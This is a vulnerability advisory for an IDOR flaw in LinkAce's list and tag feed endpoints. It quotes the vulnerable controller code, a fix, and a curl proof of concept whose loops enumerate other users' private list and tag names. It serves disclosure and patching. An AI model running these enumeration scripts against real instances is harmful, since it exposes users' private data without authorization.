← Back to CVE List
CVE-2026-104186NVD
Vulnerability Summary
Summary I found an Insecure Direct Object Reference (IDOR) vulnerability in LinkAce's authenticated Atom feed endpoints. The `GET /lists/{list}/feed` and `GET /tags/{tag}/feed` routes resolve the list or tag by integer ID from the URL path but perform no authorization or visibility check. Any authenticated user can access the Atom feed of any other user's private list or tag — including lists marked as `PRIVATE` — by enumerating integer IDs, exposing the private list/tag name and the contents (bookmarks) of that taxonomy. Details In `app/Http/Controllers/App/FeedController.php` at lines 44 and 64: ```php // FeedController.php line 44 public function listLinks(Request $request, LinkList $list): Response { // NO $this->authorize(), NO policy check, NO visibility scope $links = $list->links()->visibleForUser()->with('user')->latest()->get(); $meta = [ 'title' => $list->name, // PRIVATE list name returned in Atom <title> 'description' => $list->description, ... ]; return new Response(view('app.feed.links', ['meta' => $meta, 'links' => $links, ...])); } // FeedController.php line 64 public function tagLinks(Request $request, Tag $tag): Response { // NO $this->authorize(), NO policy check $links = $tag->links()->visibleForUser()->with('user')->latest()->get(); $meta = [ 'title' => $tag->name, // PRIVATE tag name returned in Atom <title> ... ]; } ``` Route model binding resolves `LinkList` and `Tag` by integer primary key with no visibility scope applied (the only global scope on these models is `OrderNameScope` which only adds `ORDER BY name`). The controller never calls `$this->authorize()`, never checks the list/tag's `visibility` field, and never verifies that the authenticated user owns the requested resource. By contrast, the web UI controllers that serve the same data correctly enforce authorization: ```php // app/Http/Controllers/App/ListController.php public function __construct() { $this->authorizeResource(LinkList::class, 'list'); // enforces LinkListPolicy::view() } ``` `LinkListPolicy::view()` checks `$list->visibility` and returns `false` for PRIVATE lists owned by other users. The feed controller has no equivalent protection. PoC Prerequisites: - Two LinkAce accounts: victim and attacker - Victim has a PRIVATE list (visibility=0) with private bookmarks - Tools: `curl` ```bash LINKACE="https://linkace.example.com" Step 1 — Attacker logs in and gets a session CSRF=$(curl -sc /tmp/att.jar "$LINKACE/login" | grep -oP 'name="_token" value="\K[^"]+') curl -s -c /tmp/att.jar -b /tmp/att.jar -X POST "$LINKACE/login" \ -d "_token=$CSRF&email=attacker@example.com&password=secret" -L -o /dev/null Step 2 — Confirm that direct access to the private list is blocked in the web UI curl -si -b /tmp/att.jar "$LINKACE/lists/5" | grep "^HTTP" Expected: HTTP/1.1 403 — correctly blocked by ListController + policy Step 3 — Feed endpoint has no authorization check — returns private list data curl -s -b /tmp/att.jar "$LINKACE/lists/5/feed" Expected: full Atom XML containing: <title>victim's private list name</title> <entry><title>Private Bookmark Title</title><link href="https://private.example.com/..."/>... NOTE: visibleForUser() filters links to public+internal, but the list NAME and STRUCTURE is exposed Step 4 — Enumerate all private lists by iterating IDs for ID in $(seq 1 200); do TITLE=$(curl -s -b /tmp/att.jar "$LINKACE/lists/$ID/feed" | \ grep -oP '<title>\K[^<]+' | head -1) [ -n "$TITLE" ] && echo "List $ID: $TITLE" done Expected: prints names of all lists including other users' PRIVATE lists Step 5 — API token variant (no browser needed) curl -s -H "Authorization: Bearer <attacker-api-token>" \ "$LINKACE/lists/5/feed" | grep '<title>' Expected: <title>Private List Name</title> Step 6 — Same vulnerability on tag feeds for ID in $(seq 1 500); do TITLE=$(curl -s -b /tmp/att.jar "$LINKACE/tags/$ID/feed" | \ grep -oP '<title>\K[^<]+' | head -1) [ -n "$TITLE" ] && echo "Tag $ID: $TITLE" done Expected: enumerates all tag names including private tags ``` Impact Any authenticated LinkAce user — including users with read-only API tokens — can: 1. Enumerate all private list and tag names across all users by iterating integer IDs, revealing the organizational taxonomy of other users' bookmarks (e.g., "Competitor Research", "Job Applications", "Medical", "Financial") 2. Read all public and internal-visibility bookmarks within any private list/tag, including their URLs, titles, and descriptions — exposing bookmarks that the owner marked as internal expecting them to be visible only to themselves 3. Reveal organizational structure even for bookmarks that are set to PRIVATE visibility (which are excluded by `visibleForUser()`), since the list name and the fact that the list contains bookmarks is still disclosed via the Atom metadata Fix Add an authorization check at the start of each feed method in `app/Http/Controllers/App/FeedController.php`: ```php // listLinks() — add after method signature: $this->authorize('view', $list); // tagLinks() — add after method signature: $this->authorize('view', $tag); ``` These calls will invoke `LinkListPolicy::view()` and `TagPolicy::view()` respectively, applying the same visibility enforcement that the web UI controllers already use. The policies already implement the correct three-tier visibility check; the fix is simply calling them. If possible, please apply for a CVE number when publishing. I would greatly appreciate it.
CVSS v3.1 Base Metrics — Score 4.3
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredLow
User InteractionNone
ScopeUnchanged
ConfidentialityLow
IntegrityNone
AvailabilityNone
Affected & Patched Versions
- kovah/linkace <= 2.5.9
- kovah/linkace 2.6.0